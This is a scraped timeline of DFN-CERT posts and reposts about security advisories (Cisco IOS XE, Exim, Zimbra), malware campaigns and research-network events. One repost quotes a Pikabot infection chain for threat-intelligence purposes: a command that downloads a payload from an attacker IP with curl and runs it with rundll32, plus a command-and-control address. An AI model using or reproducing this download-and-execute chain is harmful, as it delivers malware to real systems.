DFN-CERT | @[email protected]

THIS ACCOUNT IS NO LONGER ACTIVE!

Serving the german NREN since 1993

RFC 2350

[DFN-CERT | @[email protected] @DFNCERT]

Auch wir sehen vermehrt mit #Pikabot infizierte Systeme in unseren #Netflow Daten und informieren betroffenen Einrichtungen unmittelbar. 🤗

[Cryptolaemus @Cryptolaemus1]

#Pikabot - #TA577 - url > .zip > .js > curl > .dll

wscript Cmejuzqk.js

cmd /c cuRl http://216.128.185.]35/mdh/gunne -o %TMp%\XBMr.sct

ruNdll32 %TMP%\XBMr.sct, Crash

One new c2 added today👇full config in github.

c2
188.26.127.4:13785

IOC's
https://t.co/5bRvN4bPJV

[GÉANT (@[email protected]) @GEANTnews]

#CONNECT44 - the latest GÉANT CONNECT Magazine is now out, and it's a jam-packed issue with contributions from the community!

Highlights:
🌐 #OpenScience
⚛️ #Quantum Communications
⚡️ #HPC & applications in R&E
And many more topics!

Read it here 👉 https://t.co/mSMRW0mf8t

[Deutsches Forschungsnetz | @[email protected] @DFN_de]

⚓️Ahoi! Dabei sein & mitfeiern!🎂Wir zelebrieren die 10. DFN-Konferenz „#Datenschutz“ an den #Landungsbrücken🚢in Hamburg @DFNCERT Am Dienstag & Mittwoch, 28. & 29. November 2023 ist es soweit. Meldet Euch gleich an! 👉https://t.co/wd6JnukkYR

[The Shadowserver Foundation @Shadowserver]

Cisco CVE-2023-20198 exploitation activity: We see over 32.8K Cisco IOS XE IPs compromised with implants based on the check published by Cisco in https://t.co/DWK2SgQGYP

IP data on implants shared out daily in: https://t.co/D1KZAGvfTr tagged 'device-implant'.

[DFN-CERT | @[email protected] @DFNCERT]

#Cisco admins please disable the HTTP Server-Feature on internet facing Cisco IOS XE devices or else (CVE-2023-20198). CVSS 10.0 via Web UI, no updates, exploitation detected.

https://t.co/mtld79xwtN

[DFN-CERT | @[email protected] @DFNCERT]

@lazy_daemon @heisec https://t.co/Zs2muqLTa0

[DFN-CERT | @[email protected] @DFNCERT]

@lazy_daemon @heisec https://t.co/7wX6Q5rLlz

[Deutsches Forschungsnetz | @[email protected] @DFN_de]

🥳Der neue #DFNInfobriefRecht ist online! Diesen Monat berichtet die Forschungsstelle Recht der @uni_muenster über 👩‍⚖️Datenschutzrecht im #Metaverse, Kritik an der aktuellen Praxis des #elending & über das neue EU-US Data Privacy Framework. 👉 https://t.co/xIXh5mjuqH

[DFN-CERT | @[email protected] @DFNCERT]

Season starts early this year: major incidents in the German National Research and Education Network @DFN_de are piling up.

Stay safe everyone and contact [email protected] if in trouble!

[DFN-CERT | @[email protected] @DFNCERT]

Exim 4.97 is in the works (RC1 available) and should include patches, but no confirmation so far.

https://t.co/W1omjuiX7f

[DFN-CERT | @[email protected] @DFNCERT]

The ZDI published some 0Day advisories for #Exim recently at https://t.co/FnMuLM7nHi. RCE with CVSS Base Score of 9.8 is among the vulnerabilities, but Exim devs are not so sure ¯\_(ツ)_/¯.

[DFN-CERT | @[email protected] @DFNCERT]

3 of 6 #Exim Patches are available for distribution maintainers, 2x severity 'high' (RCE would be 'critical').

https://t.co/AHNqBP865T
https://t.co/9PwHZ1Elmx

[Deutsche Telekom CERT @DTCERT]

On September 21st, 2023 Telekom Security CTI Team observed the threat actor #TA577, also known as "TR", launching a new high-volume malware distribution campaign spreading #DarkGate malware. 🧵 1/4

[Mar_Pich @Mar_Pich]

Long time no see! 👋
V25 of my family tree 🌳 dedicated to #ransomware is out on @orangecyberdef’s GitHub.
Always happy to receive your reviews so don’t hesitate :))

➡️https://t.co/cKK57AM07f

#CyberSecurity #cti @CERTCyberdef

[DFN-CERT | @[email protected] @DFNCERT]

@anyrun_app Cc: @mattnotmax

[Elbsides / [email protected] / @elbsides]

There is still time to submit your paper to the Elbsides light conference - send in your talk https://t.co/iCE1nnz07d until Sept 23rd #wewantyourtalk #infosec #cybersecurity #cfp

[DFN-CERT | @[email protected] @DFNCERT]

DFN-PKI: Version 13 der Zertifizierungsrichtlinie der DFN-PKI im Sicherheitsniveau „Global“ https://t.co/RNPhiZ292I

[Deutsches Forschungsnetz | @[email protected] @DFN_de]

🏙️Berlin, Berlin, wir fahren nach Berlin – heißt es im Oktober zur #DFN_BT79! Nur noch wenige Woche, dann sehen wir uns wieder bei der 79. DFN-Betriebstagung am 17. & 18.10.2023 zum Austauschen & auf den neusten Stand bringen🫂. Wir freuen uns wie Bolle! https://t.co/4yrvr9ocZa

[DFN-CERT | @[email protected] @DFNCERT]

#Zimbra Patches for 2 #XSS have arrived:

https://t.co/VM3hosHDOj
https://t.co/aYUnehfCo8
https://t.co/cZA4KCGh55

[DFN-CERT | @[email protected] @DFNCERT]

PSA: new Zimbra #XSS, Patch will be available 2023-09-13 (aka tomorrow) for

- Daffodil 10.0.4
- 9.0.0 Kelper Patch 36
- 8.8.15 Joule Patch 43

https://t.co/sVnz090KS4